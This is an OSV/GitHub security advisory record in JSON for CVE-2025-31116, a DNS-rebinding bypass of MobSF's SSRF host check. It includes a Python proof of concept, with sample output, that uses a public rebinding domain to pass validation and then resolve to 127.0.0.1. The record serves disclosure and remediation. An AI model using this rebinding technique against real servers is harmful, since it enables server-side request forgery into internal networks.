Files
vuln-osv/data/PyPI/GHSA-fcfq-m8p6-gw56.json
T

1 line
5.1 KiB
JSON

{"schema_version":"1.9.0","id":"GHSA-fcfq-m8p6-gw56","published":"2025-03-31T17:23:21Z","modified":"2026-06-10T17:14:17.878593075Z","aliases":["CVE-2025-31116","PYSEC-2025-48"],"summary":"Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding","details":"### Summary\n\nThe latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines [/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957) is vulnerable to SSRF abuse using DNS rebinding technique.\n\n### PoC\n\nThe following proof of concept: \n\n```python\ndef valid_host(host):\n \"\"\"Check if host is valid.\"\"\"\n try:\n prefixs = ('http://', 'https://')\n if not host.startswith(prefixs):\n host = f'http://{host}'\n parsed = urlparse(host)\n domain = parsed.netloc\n path = parsed.path\n if len(domain) == 0:\n # No valid domain\n return False, None\n if len(path) > 0:\n # Only host is allowed\n return False, None\n if ':' in domain:\n # IPv6\n return False, None\n # Local network\n invalid_prefix = (\n '100.64.',\n '127.',\n '192.',\n '198.',\n '10.',\n '172.',\n '169.',\n '0.',\n '203.0.',\n '224.0.',\n '240.0',\n '255.255.',\n 'localhost',\n '::1',\n '64::ff9b::',\n '100::',\n '2001::',\n '2002::',\n 'fc00::',\n 'fe80::',\n 'ff00::')\n if domain.startswith(invalid_prefix):\n return False, None\n ip = socket.gethostbyname(domain)\n if ip.startswith(invalid_prefix):\n # Resolve dns to get IP\n return False, None\n return True, ip\n except Exception:\n return False, None\n\nimport random\nimport time\nimport socket\nfrom urllib.parse import urlparse\n\nif __name__ == '__main__':\n print(\"Generating random host ...\", end=' ') \n prefix = random.randint(999_999, 9_999_999)\n host = f\"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\"\n print(\"Done\")\n print(f\"Testing with '{host}' ... \", end=\" \")\n valid, ip = valid_host(host)\n if valid:\n print(f\"Successful Bypass\")\n print(f\" - Host initially resolved to: {ip}\")\n print(\"Sleeping for 1 second ...\")\n time.sleep(1)\n print(f\" - Second use host will be resolved to: {socket.gethostbyname(host)}\")\n print(f\" - Third use host will be resolved to: {socket.gethostbyname(host)}\")\n print(\"Sleeping for 30 seconds ...\")\n time.sleep(30)\n else:\n print(f\"Invalid host\")\n\n```\n\nYields : \n\n```\n$ python3 poc.py\nGenerating random host ... Done\nTesting with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass\n - Host initially resolved to: 1.1.1.1\nSleeping for 1 second ...\n - Second use host will be resolved to: 127.0.0.1\n - Third use host will be resolved to: 127.0.0.1\nSleeping for 30 seconds ...\n```\n\nWhich generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.\nAs you can notice the initial resolution was pointing to `1.1.1.1`. The second time the IP was resolved to `127.0.0.1`. Such an attack could be adjusted for other IP addresses.\n\n### Impact\n\nThe usual impact of Server-side request forgery.\n\n### Remediation \n\n- Avoid the use of `socket.gethostbyname()` since it issues and DNS query.","affected":[{"package":{"name":"mobsf","ecosystem":"PyPI","purl":"pkg:pypi/mobsf"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.2"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-fcfq-m8p6-gw56/GHSA-fcfq-m8p6-gw56.json"}}],"references":[{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-fcfq-m8p6-gw56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-31116"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/4b8bab5a9858c69fe13be4631b82d82186e0d3bd"},{"type":"PACKAGE","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2025-48.yaml"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2025-03-31T17:23:21Z","nvd_published_at":"2025-03-31T17:15:42Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L"}]}